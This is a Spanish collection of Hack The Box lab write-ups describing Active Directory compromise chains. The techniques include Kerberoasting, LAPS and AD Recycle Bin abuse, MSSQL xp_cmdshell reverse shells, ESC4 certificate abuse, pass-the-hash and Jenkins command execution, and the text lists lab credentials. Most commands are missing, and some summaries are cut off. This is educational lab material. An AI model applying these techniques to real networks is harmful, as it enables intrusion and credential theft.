Principalmente la contraseña pertenece al usuario "svc_deploy" pero intentaremos comprobar si la contraseña sirve para otros usuarios del AD. Para ello exportaremos todos los usuarios del AD en un archivo de texto y nos lo descargaremos en nuestro equipo local.

A través de la herramienta "netexec" procederemos a intentar conectarnos al WinRM con la lista de usuarios y la contraseña encontrada. Finalmente comprobamos que las credenciales solamente son válidas para el usuario "svc_deploy".

Procederemos nuevamente a conectarnos al WinRM con el usuario y las credenciales encontradas, comprobamos que ganamos acceso como usuario "svc_deploy".

Abusing LAPS to get passwords

Procederemos a enumerar las contraseñas de los usuarios Administradores de todos los equipos del AD para aprovecharnos de LAPS para extraer las credenciales. Comprobamos que hemos encontrado una contraseña.

También podemos hacer uso de la herramienta ldapsearch con el siguiente comando para realizar lo mismo que el paso anterior.

Procederemos a conectarnos al equipo con el usuario Administrator y las credenciales encontradas. Comprobamos que hemos ganado acceso como usuario Administrator.

Para localizar la flag del "root.txt" ejecutaremos el siguiente comando para buscar la flag en todos los "Desktop" de todos los usuarios del equipo, ya que la flag se encuentra en otro usuario.

Medium

Administrator

Administrador es una máquina Windows de dificultad media diseñada en torno a un escenario de compromiso de dominio completo, en el que se proporcionan las credenciales de un usuario con pocos privilegios. Para obtener acceso a la cuenta michael, se enumeran las ACLs (Access Control Lists) sobre objetos privilegiados, lo que nos lleva a descubrir que el usuario olivia tiene permisos GenericAll sobre michael, permitiéndonos restablecer su contraseña. Con acceso como michael, se revela que puede forzar un cambio de contraseña en el usuario benjamin, cuya contraseña se restablece. Esto da acceso a FTP, donde se descubre un archivo backup.psafe3, que se descifra y revela las credenciales de varios usuarios. Estas credenciales se esparcen por el dominio, revelando credenciales válidas para el usuario «Emily». Una enumeración más detallada muestra que emily

Authority

Authority es una máquina Windows de dificultad media que resalta los peligros de las configuraciones incorrectas, la reutilización de contraseñas, el almacenamiento de credenciales en recursos compartidos y demuestra cómo las configuraciones predeterminadas en Active Directory (como la capacidad de todos los usuarios del dominio de agregar hasta 10 computadoras al dominio) se pueden combinar con otros problemas (plantillas de certificado AD CS vulnerables) para apoderarse de un dominio.

Reconnaissance

Cascade

Cascade es una máquina Windows de dificultad media configurada como un controlador de dominio. Los enlaces anónimos de LDAP están habilitados y la enumeración genera la contraseña del usuario r.thompson, que brinda acceso a una copia de seguridad del registro TightVNC. La copia de seguridad se descifra para obtener la contraseña de s.smith. Este usuario tiene acceso a un ejecutable .NET, que después de la descompilación y el análisis del código fuente revela la contraseña de la cuenta ArkSvc.

Esta cuenta pertenece al grupo AD Recycle Bin y puede ver los objetos de Active Directory eliminados. Se descubre que una de las cuentas de usuario eliminadas contiene una contraseña codificada, que se puede reutilizar para iniciar sesión como administrador principal del dominio.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Cascade.

Lanzaremos una serie de scripts básicos para intentar buscar vulnerabilidades en los puertos que hemos encotrado expuestos.

Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.

Verificaremos también a qué tipo de máquina nos enfrentamos a través de netexec.

Procederemos a añadir la entrada en nuestro archivo /etc/hosts

Users Enumeration

Enumerating users with NSrpcenum and enum4linux

Probaremos a través de la herramienta NSrpcenum de ver si nos podemos conectar al RPC mediante una null sesión y enumerar usuarios, comprobamos que si podemos efectuar el ataque y sacamos todo el listado de los usuarios que se encuentran en el dominio.

Otra de las herramientas que podemos probar es la de enum4linux que nos mostrará mucha más información a parte de la de los usuarios del equipo.

Enumerating valid domain users with Kerbrute

Procederemos a realizar una enumeración de qué usuarios de esos son válidos en el dominio, es decir, que su cuenta sea de AD.

AS-REP Roasting Attack (GetNPUsers) - [FAILED]

Debido que disponemos de una gran lista de usuarios válidos, procederemos a intentar efectuar un AS-REP Roasting Attack para intentar obtener un Ticket Granting Ticket (TGT), pero no obtenemos resultado.

LDAP Enumeration (windapsearch.py && ldapsearch)

Procederemos a enumerar el protocolo LDAP y estaremos utilizando la herramienta de windapsearch.py la cual estaremos buscando por contenido que contenga "pwd" o "password".

Nos damos cuenta que aparece un campo llamado "cascadeLegacyPwd" con lo que parece ser una contraseña encodeada en Base64.

Podemos realizar la misma enumeración a través de la herramienta de ldapsearch.

Probaremos a descodificar el texto encontrado en Base64 y parece que obtenemos lo que parece ser una contraseña.

Probaremos de enumerar a todos los usuarios que disponemos para ver si uno de ellos se puede llegar a autenticar. Verificamos que el usuario "r.thompson" se puede autenticar con dichas credenciales.

Procederemos a intentar comprobar si con este usuario podemos acceder al WinRM, pero no nos lo acepta seguramente por falta de permisos, pero sus credenciales son correctas.

Kerberoasting Attack (GetUserSPNs) - [FAILED]

Debido que disponemos de unas credenciales válidas de un usuario, procederemos a intentar realizar un Kerberoasting Attack para solicitar un Ticket Granting Service (TGS), sin resultado esperado tampoco.

SMB Enumeration

Procederemos a realizar la enumeración de SMB, para ver los recursos compartidos que tiene acceso el usuario "r.thompson".

Procedferemos a revisar por encima, cual es el contenido de la carpeta "Data" para ver si dispone de directorios, archivos, para así descartarlo de enumerarlo en caso que no disponga de nada.

Procederemos a conectarnos mediante smbclient al recurso compartido "DATA" y nos descargaremos todo el contenido del recurso compartido en nuestro equipo local.

El primer archivo que vemos, es una página web que indica que se creó un usuario llamado "TempAdmin" que su contraseña es la misma que la del usuario Administrador, pero este usuario se creó en un momento puntual y fue eliminado a finales de 2018.

Nos quedaremos con esta información por si pudieramos recuperar al usuario "TempAdmin" y lograr ver su contraseña más adelante.

Por otro lado, disponemos de un log en el cual se menciona al usuario "ArkSvc" y parece ser que se estan realizando tareas de eliminar/mover a usuarios del AD. Relativamente no encontramos algún tipo de información.

Revisando el archivo "VNC Install.reg" comporbamos que dispone de un valor llamado "Password" con una contraseña encodeada parace ser en hex.

Cracking TightVNC Password

Probaremos de descodear el contenido en hex de manera habitual, pero nos encontramos que el contenido no está en texto plano, esto hace pensar que alomejor pueda estar encriptado y por dicho motivo no lo vemos en texto plano.

Como se trata de un VNC password ecnriptado, buscando en Internet logramos descubrir la siguiente página web - en la cual nos explicaba como desencriptar el hex de VNC.

Comprobamos finalmente lo que parece ser la contraseña en texto plano.

Initial Access

Abusing WinRM- EvilWinRM

Procederemos a revisar si algún usuario de los que disponemos se puede autenticar con estas credenciales, comprobamos que el usuario "s.smith" puede autenticarse.

Guardaremos las nuevas credenciales obtenidas en nuestro archivo "credentials.txt"

Validaremos con netexec de que podemos conectarnos al WinRM, comprobamos que sí, debido que la herramienta nos reporta (pwn3d) y obtenemos la flag de user.txt.

Enumerating SQLite3 Database File

Comprobaremos con el nuevo usario obtenido a qué recursos compartidos tiene acceso. Comprobamos que dispone de acceso al recurso "Audit$", por lo tanto con sqlmap listaremos el directorio para ver que no esté vacío.

Procederemos a conectarnos a través de smbclient y nos descargaremos todo el contenido del recurso.

Uno de los archivos que nos llama la atención, es el de "Audit.db" que es un archivo de BBDD. Reviasndo con el comando strings nos damos cuenta que es sobre un SQLite y se han ejecutado insutrcciones, estas mismas hacen referencia auna tabnla llamada "LDAP".

Revisando el contenido de la tabla "LDAP", obtenemos lo que parece ser el usuario "ArkSvc" y su respectiva contraseña encodeada en Base64.

Probaremos de descodearlo en Base64, pero obtenemos un resultado que no está en texto plano, lo que nos puede indicar que el contenido parece estar cifrado.

Analysis of Windows EXE binary (DNSpy)

Procederemos a enumerar losnotros archivos, como el .exe .dll des de DNSpy. Nos fijamos que el binario del EXE hace uso de la librería Crypto que es una librería para la encriptación de texto, y vemos que aparece una clave en textoplano.

En el código hemos encontrado AES-CBC, un modo de cifrado que utiliza una clave secreta para cifrar datos en bloques donde cada bloque depende del anterior, y emplea un IV (Vector de Inicialización) para añadir aleatoriedad al primer bloque, lo que evita patrones repetidos y asegura que cada mensaje cifrado sea único y más seguro incluso si se usa la misma clave en múltiples cifrados.

Reverse engineering the CBC cipher - Obtaining clear text passwords (CyberChef)

Procederemos a realizar ingeniería inversa al cifrado CBC, para ello deberemos de tener los siguientes 3 datos

KEY
IV
Password

Ingresaremos a CyberChef y lo descodificaremos y ontendremos la contraseña en texto plano.

Privilege Escalation

Procederemos de conectarnos conel usuario "Arksvc" con las nuevas credencials al WinRM.

Revisando los grupos a los que pertenece el usuario, nos fijamos que forma parte del grupo de "AD Recycle Bin", lo que nos permitirá encontrar objectos que han sido borrados.

Abusing AD Recycle Bin Group - Active Directory Object Recovery (Get-ADObject)

Debido que formamos parte de este grupo, nuestro objetivo será de recuperar información sobre el usuario "TempAdmin" que según descubrimos en el archivo .html cuando enumeramos el SMB; indicaba que este usuario disponía de las mismas credenciales que utiliza el usuario Administrator, por lo tanto, en caso de tener la contraseña de este usuario podríamos llegar a probar si aún son válidas para el usuario Administrator.

Procederemos a buscar objetos que sean usuarios que hayan sido borrados. Comprobamos que nos aparece el usaurio borrado "TempAdmin", procederemos a listar ls propiedades.

Comprobamos que en un campo aparece "cascadeLegacyPwd" con lo que parece ser una contraseña encodeada nuevamente en Base64.

Procederemos a desencodear y nos aparece una contraseña en texto plano, validaremos con netexec de que las credenciales son válidas para el usuaro Administrator, nos conectarmos haciendo uso de evil-winrm y comprobaremos la flag de root.txt.

Certified

Reconnaissance

Proceremos a realizar un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Certified.

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.

Escape

Escape es una máquina Windows Active Directory de dificultad media que comienza con un recurso compartido SMB en el que los usuarios autenticados como invitados pueden descargar un archivo PDF confidencial. Dentro del archivo PDF hay credenciales temporales disponibles para acceder a un servicio MSSQL que se ejecuta en la máquina. Un atacante puede forzar al servicio MSSQL a autenticarse en su máquina y capturar el hash. Resulta que el servicio se está ejecutando bajo una cuenta de usuario y el hash es descifrable. Con un conjunto válido de credenciales, un atacante puede ejecutar un comando en la máquina usando WinRM. Al enumerar la máquina, un archivo de registro revela las credenciales del usuario ryan.cooper. Una enumeración adicional de la máquina revela que hay una autoridad de certificación presente y una plantilla de certificado es vulnerable al ataque ESC1, lo que significa que los usuarios que son legibles para usar esta plantilla pueden solicitar certificados para cualquier otro usuario en el dominio, incluidos los administradores de dominio. Por lo tanto, al explotar la vulnerabilidad ESC1, un atacante puede obtener un certificado válido para la cuenta de administrador y luego usarlo para obtener el hash del usuario administrador.

Hospital

Hospital es una máquina Windows de dificultad media que aloja un entorno de Active Directory, un servidor web y una instancia de RoundCube. La aplicación web tiene una vulnerabilidad de carga de archivos que permite la ejecución de código PHP arbitrario, lo que lleva a un shell inverso en la máquina virtual Linux que aloja el servicio. La enumeración del sistema revela un kernel Linux obsoleto que se puede explotar para obtener privilegios de root, a través de [CVE-2023-35001](https://nvd.nist.gov/vuln/detail/CVE-2023-35001).

El acceso privilegiado permite leer los hashes de /etc/shadow y, posteriormente, descifrarlos, lo que genera credenciales para la instancia de RoundCube. Los correos electrónicos sobre el servicio sugieren el uso de «GhostScript», que expone el objetivo a la explotación a través de «», una vulnerabilidad que se explota creando un archivo Embedded PostScript (EPS) malicioso para lograr la ejecución remota de código en el host de Windows. El acceso al sistema se obtiene de dos formas: utilizando un keylogger para capturar las credenciales de «administrador» o abusando de los permisos «XAMPP» mal configurados.

Intelligence

Intelligence es una máquina Windows de dificultad media que muestra una serie de ataques comunes en un entorno de Active Directory. Después de recuperar documentos PDF internos almacenados en el servidor web (mediante la fuerza bruta de un esquema de nombres común) e inspeccionar sus contenidos y metadatos, que revelan una contraseña predeterminada y una lista de posibles usuarios de AD, la pulverización de contraseñas conduce al descubrimiento de una cuenta de usuario válida, lo que otorga un punto de apoyo inicial en el sistema.

Se descubre un script de PowerShell programado que envía solicitudes autenticadas a servidores web en función de su nombre de host; al agregar un registro DNS personalizado, es posible forzar una solicitud que se puede interceptar para capturar el hash de un segundo usuario, que es fácil de descifrar. A este usuario se le permite leer la contraseña de una cuenta de servicio administrada por un grupo, que a su vez tiene acceso de delegación restringido al controlador de dominio, lo que da como resultado un shell con privilegios administrativos.

Jab

Jab es una máquina Windows de dificultad media que cuenta con un servidor XMPP Openfire alojado en un controlador de dominio (DC). El registro público en el servidor XMPP permite al usuario registrar una cuenta. Luego, al recuperar una lista de todos los usuarios del dominio, se encuentra una cuenta kerberoastable, que permite al atacante descifrar el hash recuperado para la contraseña del usuario. Al visitar las salas de chat XMPP de la cuenta, se recupera la contraseña de otra cuenta.

Esta nueva cuenta tiene privilegios DCOM sobre el DC, lo que otorga al atacante acceso local a la máquina. Finalmente, un complemento malicioso cargado a través del panel de administración de Openfire alojado localmente le otorga al usuario acceso al SISTEMA.

Manager

Manager es una máquina Windows de dificultad media que aloja un entorno de Active Directory con AD CS (Active Directory Certificate Services), un servidor web y un servidor SQL. El punto de apoyo implica enumerar usuarios mediante ciclos RID y realizar un ataque de rociado de contraseñas para obtener acceso al servicio MSSQL. Luego se utiliza el procedimiento xp_dirtree para explorar el sistema de archivos y descubrir una copia de seguridad del sitio web en la raíz web. Al extraer la copia de seguridad, se revelan las credenciales que se reutilizan para WinRM en el servidor. Finalmente, el atacante aumenta los privilegios a través de AD CS mediante la explotación de ESC7.

Monteverde

Monteverde es una máquina Windows mediana que cuenta con Azure AD Connect. Se enumera el dominio y se crea una lista de usuarios. A través de la pulverización de contraseñas, se descubre que la cuenta de servicio SABatchJobs tiene el nombre de usuario como contraseña. Con esta cuenta de servicio, es posible enumerar los recursos compartidos de SMB en el sistema y se descubre que el recurso compartido $users es legible para todo el mundo.

Se encuentra un archivo XML utilizado para una cuenta de Azure AD dentro de una carpeta de usuario y contiene una contraseña. Debido a la reutilización de contraseñas, podemos conectarnos al controlador de dominio como mhope mediante WinRM. La enumeración muestra que Azure AD Connect

Querier

Querier es un sistema operativo Windows de dificultad media que tiene una hoja de cálculo de Excel en un recurso compartido de archivos legible para todo el mundo. La hoja de cálculo tiene macros que se conectan al servidor MSSQL que se ejecuta en el sistema. El servidor SQL se puede utilizar para solicitar un archivo a través del cual se pueden filtrar y descifrar los hashes NetNTLMv2 para recuperar la contraseña de texto sin formato. Después de iniciar sesión, se puede utilizar PowerUp para buscar las credenciales de administrador en un archivo de política de grupo almacenado en caché local.

Resolute

Resolute es una máquina Windows de dificultad fácil que cuenta con Active Directory. El enlace anónimo de Active Directory se utiliza para obtener una contraseña que los administradores de sistemas establecen para las nuevas cuentas de usuario, aunque parece que la contraseña de esa cuenta ha cambiado desde entonces. Un password spraying revela que esta contraseña todavía está en uso para otra cuenta de usuario de dominio, lo que nos da acceso al sistema a través de WinRM.

Se descubre un registro de transcripción de PowerShell, que ha capturado las credenciales pasadas en la línea de comandos. Esto se utiliza para moverse lateralmente a un usuario que es miembro del grupo DnsAdmins. Este grupo tiene la capacidad de especificar que el servicio DNS Server cargue una DLL de complemento. Después de reiniciar el servicio DNS, logramos la ejecución del comando en el controlador de dominio en el contexto de NT_AUTHORITY\SYSTEM.

StreamIO

StreamIO es una máquina mediana que cubre la enumeración de subdominios que conduce a una inyección SQL para recuperar las credenciales de usuario almacenadas, que se descifran para obtener acceso a un panel de administración. El panel de administración es vulnerable a LFI, lo que nos permite recuperar el código fuente de las páginas de administración y conduce a la identificación de una vulnerabilidad de inclusión de archivos remotos, cuyo abuso nos permite obtener acceso al sistema.

Después del shell inicial, aprovechamos la utilidad de línea de comandos SQLCMD para enumerar las bases de datos y obtener más credenciales utilizadas en el movimiento lateral. Como usuario secundario, usamos WinPEAS para enumerar el sistema y encontrar bases de datos guardadas del navegador, que se decodifican para exponer nuevas credenciales. Usando las nuevas credenciales dentro de BloodHound, descubrimos que el usuario tiene la capacidad de agregarse a un grupo específico en el que puede leer secretos LDAP. Sin acceso directo a la cuenta, usamos PowerShell para abusar de esta función y agregarnos al grupo Core Staff

Hard

Insane

WINDOWS

LINUX

EscapeTwo

Al explotar esta mala configuración, logramos obtener el hash del usuario Administrator, lo que nos permite comprometer completamente el dominio.

Reconnaissance

Para la fase de reconocimiento inicial de la máquina EscapeTwo utilizamos nuestra herramienta personalizada . Esta herramienta automatiza un escaneo Nmap completo que incluye:

Detección de puertos TCP abiertos (-p- --open).
Escaneo de versiones (-sV).
Ejecución de scripts NSE típicos para enumeración adicional (-sC

Para empezar, exportaremos en una variable de entorno llamada IP la dirección IP de la máquina objetivo, lanzaremos la herramienta de iRecon proporcionándole la variable de entorno.

Resumen de Puertos Abiertos

En la enumeración de puertos encontramos importantes como los siguientes:

Puerto

Servicio

Por los puertos encontrados, parece que nos estamos enfrentando a un Domain Controller (DC) de Windows.

En algunas máquinas de HTB, a veces se nos proporcionan credenciales iniciales como en este caso.

Validaremos las credenciales que se nos han proporcionado, verificando que nos sirven para autenticarnos por LDAP.

Kerberoasting Attack (FAILED)

En este caso ya contamos con credenciales válidas del dominio, intentamos realizar un ataque de Kerberoasting.

En este caso, el ataque tuvo éxito y encontró a dos cuentas que tienen un SPN asignado. Probaremos de crackear de manera offline estos hashes TGS obtenidos en el archivo hashes.txt.

AS-REP Roast Attack (FAILED)

Dado que disponemos de un listado potencial de usuarios válidos del dominio, intentamos realizar un AS-REP Roast Attack.

Shell as sql_svc

SMB Enumeration

Accounting Department
Users

Tras usar el módulo spider_plus, encontramos varios archivos en los recursos SMB. En el share Accounting Department destacaron dos documentos Excel:

accounting_2024.xlsx (9.98 KB)
accounts.xlsx (6.62 KB)

Por el nombre y la ubicación, es probable que contengan información interna o sensible relacionada con temas contables. Son archivos que vale la pena revisar más a fondo.

Information Extraction from an Unreadable Excel File via Decompression

Angela Martin – angela@sequel.htb / 0fwz7Q4mSpurIt99
Oscar Martinez – oscar@sequel.htb / 86LxLBMgEWaKUnBG

Password Spraying

A través de NetExec verificamos unas nuevas credenciales válidas obtenidas para el usuario oscar@sequel.htb.

A través de este usuario también realizamos la enumeración correspondiente pero no logramos obtener ningún tipo de información adicional.

MSSQL Enumeration

Despúes de una enumeración con dichos usuarios, comprobamos que podemos autenticarnos al servicio MSSQL.

Para ello, ejecutaremos nuestro responder que recibirá ese hash NTLMv2.

A través de NetExec nos autenticaremos al servicio MSSQL y ejecutaremos la QUERY para abusar del componente xp_dirtree y así obtener el hash NTLMv2.

Durante la revisión del archivo XML extraído del Excel, identificamos unas credenciales asociadas al usuario sa junto a una contraseña que parecía estar relacionada con MSSQL (MSSQLP@ssw0rd!).

Sin embargo, al intentar autenticación local (--local-auth), las credenciales funcionaron correctamente.

La cuenta sa (por System Administrator) en SQL Server es la cuenta administrativa por defecto cuando se usa autenticación mixta (SQL + Windows).

Abusing xp_cmdshell component on MSSQL (RCE)

Al contar con acceso como sa, la cuenta administrativa por defecto de SQL Server, podemos aprovechar el componente xp_cmdshell para ejecutar comandos directamente en el sistema operativo.

Utilizando NetExec, es posible hacerlo con el parámetro -x, que permite lanzar comandos remotos a través del servicio MSSQL.

Utilizaremos una Reverse Shell de en PowerShell para obtener acceso a la máquina directamente.

Nos pondremos en escucha por el puerto especificado en el generador de RevShells.

A través de NetExec ejecutaremos el comando que se nos ha proporcionado para ganar acceso al Domain Controller a través de la Reverse Shell de PowerShell.

Verificamos que logramos acceder al sistema a través del usuario sequel\sql_svc.

Auth as ryan

Sensitive Credentials Exposed in SQL Server Configuration File

Realizando una enumeración del DC, nos encontramos con un archivo de configuración de SQL en el cual aparecen en texto plano las credenciales del usuario que disponemos actualmente.

Validaremos que las credenciales encontradas en ese archivo de configuración son válidas para el usuario sequel\sql_svc.

Password Spraying

Como resultado, confirmamos que esta contraseña es válida para dos cuentas:

ryan:WqSZAF6CysDQbGb3
sql_svc:WqSZAF6CysDQbGb3

Esto indica una posible reutilización de credenciales, una práctica insegura que puede facilitar movimientos laterales en el entorno.

A través de NetExec ejecutaremos comandos mediante PowerShell a través del parámetro (-X) y obtendremos finalmente la flag user.txt.

Auth as ca_svc

BloodHound Enumeration

En este punto realizamos una enumeración del dominio utilizando RustHound, un collector compatible con BloodHound y con soporte para Active Directory Certificate Services (ADCS).

Por otro lado, levantaremos nuestro BloodHound CE para tenerlo disponible y poder subir la información recopilada en el punto anterior.

Abusing WriteOwner privileges to gain full control from a user

Durante el análisis en BloodHound, identificamos que el usuario ryan@sequel.htb posee el privilegio WriteOwner sobre el objeto ca_svc@sequel.htb.

Targeted Kerberoasting
Shadow Credentials
Reset de contraseña (aunque no recomendable en un entorno real de pentesting)

Este tipo de abuso es especialmente útil cuando queremos escalar privilegios sin modificar directamente contraseñas ni levantar alertas.

Shadow Credentials Attack through certipy-ad

Auth as Administrator

ESC4 exploitation case with certipy-ad

Esta configuración nos permite emitir certificados maliciosos en nombre de cualquier usuario del dominio, incluyendo administradores, facilitando una escalada directa a Domain Admin.

Seguiremos los siguientes pasos para poder abusar del ESC4 en el ADCS.

Certipy vuelve a marcar la plantilla como vulnerable a ESC4, lo que valida que sigue siendo explotable para emitir certificados maliciosos y escalar privilegios dentro del dominio.

Con el certificado malicioso generado previamente, realizamos una autenticación como Administrator utilizando Pass-the-Cert a través de certipy-ad.

La autenticación fue exitosa, se obtuvo un TGT válido y, además, se recuperó el hash NTLM del usuario administrator@sequel.htb.

Abusing through Pass-the-Hash (PtH) on NetExec

Utilizando el hash NTLM obtenido previamente del usuario Administrator, realizamos una autenticación mediante Pass-the-Hash (PtH) usando NetExec.

A través de NetExec obtendremos finalmente la flag root.txt sin necesidad de acceder al Domain Controller.

Object

Object es una máquina Windows que ejecuta el servidor de automatización Jenkins. Se descubre que el servidor de automatización tiene habilitado el registro y el usuario registrado puede crear compilaciones. Las compilaciones se pueden activar de forma remota configurando un token de API. El punto de apoyo se obtiene descifrando los secretos de Jenkins. Se descubre que el usuario de punto de apoyo tiene permisos ForceChangePassword en otro usuario llamado smith. Este abuso de privilegio nos permite obtener acceso a smith. smith tiene permisos GenericWrite en maria. Abusar de este privilegio nos permite obtener acceso al servidor como este usuario. maria tiene permisos WriteOwner en el grupo Domain Admins, cuyos privilegios explotamos para obtener un shell SYSTEM.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Object.

Lanzaremos scripts de reconocimiento sobre el puerto encontrado y lo exportaremos en formato oN y oX.

Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.

Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.

Debido que no disponemos de ningún puerto como SMB, LDAP para enumerar al equipo y ver si se trata de un Domain Controller o de un equipo cliente de un dominio, a través de netexec haremos la validación sobre WinRM que hemos comprobado que estaba expuesto (puerto 5985).

Procederemos a añadir las entradas en nuestro archivo /etc/hosts

Webs Enumeration

Procederemos a realizar una enumeración de las páginas webs que hemos encontrado expuestas (8o y 8080).

Probaremos de aplicar Virtual Hosting para verificar si los sitios webs son diferentes accediendo directamente desde la dirección IP o el nombre DNS, en este caso no se aplica Virtual Hosting.

A través de la herramienta de whatweb revisaremos las tecnologías que utilizan estas páginas web.

Jenkins Exploitation

Procederemos a acceder a y verificaremos que se trata de un sitio web sobre Jenkins.

Jenkins es una herramienta de integración continua y entrega continua (CI/CD) utilizada en el desarrollo de software para automatizar la construcción, prueba y despliegue de aplicaciones. Es de código abierto y permite a los desarrolladores implementar proyectos de manera más rápida y confiable mediante la automatización de procesos repetitivos.

Probaremos de autenticarnos con credenciales por defecto sin éxito ninguno.

Revisamos en Internet y verificamos de las credenciales por defecto de Jenkins, pero tampoco nos permite acceder.

Verificamos que tenemos una opción para crear una nueva cuenta en Jenkins. Procederemos a crearnos una cuenta.

Verificamos que hemos ganado acceso al panel de Jenkins con el usuario recién creado, el siguiente paso será enumerar Jenkins en busca de información relevante.

Revisando el apartado de "People" vemos que aparece nuestro usuario recién creado y el del usuario "admin".

Si probamos de acceder a comprobamos que no disponemos de permisos de Administración.

Volviendo al panel de Dashboard, vemos que podemos crear una nueva tarea en Jenkins.

Al intentar crear una nueva tarea, nos permite seleccionar diferentes modos. En nuestro caso, probaremos con la primera opción de "Freestyle project" y le asignaremos de nombre al trabajo "test".

Comprobamos que estas son las opciones que nos proporciona Jenkins para la creación de un nuevo trabajo.

Verificamos que en el apartado de "Build", nos aparece una serie de opciones la cual la que nos parece más interesante es la de "Execute Windows batch command", ya que parece ser que a través de la creación de la tarea en Jenkins, podríamos llegar a indicar alguna instrucción para que sea ejecutada en la máquina víctima.

Indicaremos en el apartado de "command" que nos ejecute la siguiente instrucción para verificar posteriormente en el resultado del output si se ha logrado ejecutar el comando indicado.

Una vez configurado, procederemos a guardar el trabajo dándole a "Save"

Revisamos que efectivamente el proyecto se ha creado correctamente, pero no nos aparece ninguna opción/botón para iniciar el trabajo.

Revisando en la siguiente respuesta de , nos indica que posiblemente sea debido a la restricción de permisos que dispone nuestro usuario creado.

Existen dos métodos para intentar evitar esta restricción e iniciar el proyecto de otra manera.

Creating a New Job + Abusing Build Periodically (cron jobs)

La primera opción para que el proyecto se ejecute sin tener que nosotros darle al botón de "Build", es a través de Cron Jobs.

A la hora de crear la tarea, en el apartado de "Build Triggers", nos permite la opción de seleccionar "Build periodically" para que se ejecute el trabajo de manera periódica.

Por lo tanto, nuestro objetivo es que se ejecute para verificar si la instrucción es ejecutada en el equipo. Para ello, especificaremos que se ejecute a cada minuto indicando: * * * * *

Al pasar el minuto después de haber guardado nuevamente el proyecto con la tarea programada, verificamos que se ha ejecutado correctamente el trabajo.

Al acceder a , verificamos que efectivamente el comando que habíamos establecido se ha ejecutado en el servidor . Tambén hemos podido ejecutarlo sin tener que arrancar el proyecto de manera manual (debido a los permisos) a través de las tareas Cron.

Abusing Trigger builds remotely using Token

La mejor manera para eludior la restricción del permiso por el cual no tengamos disponible el botón "Build" para iniciar el proyecto, es a través de la opción "Authentication Token".

Tal y como indica Jenkins, podemos crear un nuevo Token el cual al acceder a JENKINS_URL/job/test/build=token=TOKEN_NAME, el proyecto se ejecutará.

Por lo tanto, el objetivo es utilizar la herramienta de cURL para hacer la petición a través de GET para que el proyecto sea ejecutado remotamente y nosotros podamos controlar cuando ejecutar el proyecto.

Esto es más práctico que la primera opción, debido que podemos controlar cuando ejecutarlo, etc.

Verificamos que al tratar de hacer el cURL tal y como nos indicaba Jenkins, nos aparece el mensaje de "Authenticacion required".

Revisando en Internet sobre este mensaje de error para ejecutar el proyecto de manera remota de Jenkins, nos encontramos con el siguiente post donde explican como realizar la configuración con cURL.

El primer paso es obtener un API Token de nuestro propio usuario, para ello accederemos a y generaremos un nuevo Token que deberemos copiarnos en el portapapeles.

Cargaremos una nueva instrucción en el proyecto, en este caso para que se ejecute un "ipconfig".

Realizaremos el build de nuestro proyecto remotamente con nuestro usuario, el token de nuestro usuario que hemos generado y el token creado el proyecto.

Verificaremos que si accedemos nuevamente a verificaremos que el proyecto se ha ejecutado y hemos recibido el output de la ejecución del comando "ipconfig".

Por lo tanto, el método para ejecutar los comandos de manera más eficiente será modificar y guardar el proyecto para que ejecute el comando que establezcamos, enviaremos la solicitud del build remoto con cURL e iremos ingresando incrementando el número del build por cada vez que enviemos el proyecto para visualziar el resultado.

Initial access - Shell as oliver

Probaremos de compartirnos el binario de "nc.exe" para posteriormente entablarnos una Reverse Shell hacía el equipo.

Modificaremos el proyecto para que ejecute el siguiente comando, para descargarnos el binario de nc.exe que estamos compartiendo desde nuestro servidor web de Kali.

Verificamos que en el output de la salida de la ejecución del comando, nos devuelve error de conexión "Unable to connect to the remote server", lo cual nos hace pensar que hay algunas reglas de Firewall que nos están bloqueando la salida cualquier tráfico en el equipo.

Firewall Enumeration Techniques

A través del siguiente comando, listamos las reglas del firewall que bloquean el tráfico saliente y que están habilitadas. Esto nos permite identificar las restricciones que están configuradas para el tráfico hacia el exterior, ayudándonos a comprender mejor cómo se gestionan las conexiones salientes en el sistema.

Verificamos que el resultado obtenido en el output nos indica que existe una regla de Firewall llamada "BlockOutboundDC" que no permite la salida de tráfico hacia el exterior, por ese motivo nos rechazaba la conexión anteriormente.

El siguiente comando que ejecutamos está diseñado para listar las reglas del firewall que bloquean el tráfico saliente, mostrando detalles adicionales como el protocolo, puertos locales y remotos, direcciones remotas y otros atributos. Si en los campos como LocalPort, RemotePort o RemoteAddress aparece "Any", esto indica que la regla no está restringida a un puerto o dirección específica, sino que aplica a todo el tráfico saliente que cumpla con las condiciones básicas de la regla (en este caso, dirección Outbound y acción Block).

Esto significa que esas reglas están configuradas para bloquear cualquier tráfico saliente sin discriminar por puerto o dirección, lo que puede implicar restricciones muy amplias en el sistema.

A través del siguiente comando, enumeramos todas las reglas de Firewall que estén configuradas para permitir el tráfico saliente (Outbound), que se encuentren habilitadas y cuya acción sea permitir (Allow).

En el resultado obtenido, verificamos que existe una regla configurada para permitir tráfico ICMP hacia el exterior (Outbound).

Configuraremos el proyecto para que ejecute el comando ping hacia nuestra Kali y con tcpdump procederemos a revisar si recibimos los paquetes ICMP.

Jenkins Password Decrypt

Buscando vías potenciales para obtener más privilegios o nuevas credenciales, debido que nos encontramos en un Jenkins, lo que pensamos es en intentar dumpear las credenciales almacenadas y posteriormente desencriptarlas.

Para ello utilizamos la siguiente guía en la cual nos explicaba paso por paso como realizar este dump de las credenciales de Jenkins.

Dado que nos encontramos en la ruta C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test procederemos a listar dos directorios anteriores para ver qué contenido dispone.

En el output mostrado, verificamos que nos aparece los directorios "users" y "secrets" los cuales necesitaremos para intentar buscar los archivos correspondientes para desencriptar la contraseña de Jenkins del usuario "admin".

Al revisar el directorio /users verificamos que nos aparecen dos usuarios creados, el del "admin" y el que hemos creado anteriormente. El usuario que nos interesa obtener su "config.xml" es el del usuario "admin".

Al acceder al directorio /users/admin_17207690984073220035 verificamos que vemos el archivo que necesitamos "config.xml".

Procederemos a verificar el contenido del archivo "config.xml" a través del siguiente comando.

Guardaremos el contenido del archivo de manera local en nuestra Kali.

